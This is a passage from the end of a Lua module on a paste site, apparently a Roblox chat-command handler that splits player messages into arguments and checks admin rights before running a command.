  930. for i in string.gmatch(message, "%S+") do
  931.  
  932. if #command_entry > 19 then
  933. break
  934. end
  935.  
  936. command_entry[#command_entry+1] = i
  937.  
  938. print("|" .. i .. "|", #command_entry)
  939. end
  940.  
  941. command_key = command_entry[1]
  942. command_entry[1] = HostPlayer
  943.  
  944. if commands[command_key] ~= nil then
  945. if commands[command_key].rights ~= nil then
  946. if admins[HostUserId] ~= nil then
  947. if admins[HostUserId] >= commands[command_key].rights then
  948. print("PLAYER HAS RIGHTS")
  949. print(HostPlayer, "RAN ADMIN COMMAND: |" .. command_key .. "| SUCCESS: ", commands[command_key].call(command_entry))
  950. else
  951. print("RIGHTS TO LOW")
  952. end
  953. end
  954. else
  955. print(HostPlayer, "RAN PUBLIC COMMAND: |" .. command_key .. "| SUCCESS: ", commands[command_key].call(command_entry))
  956. end
  957. end
  958.  
  959. end
  960. end)
  961. end
  962. end)
  963. end
  964. },
  965.  
  966. }
  967.  
  968. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement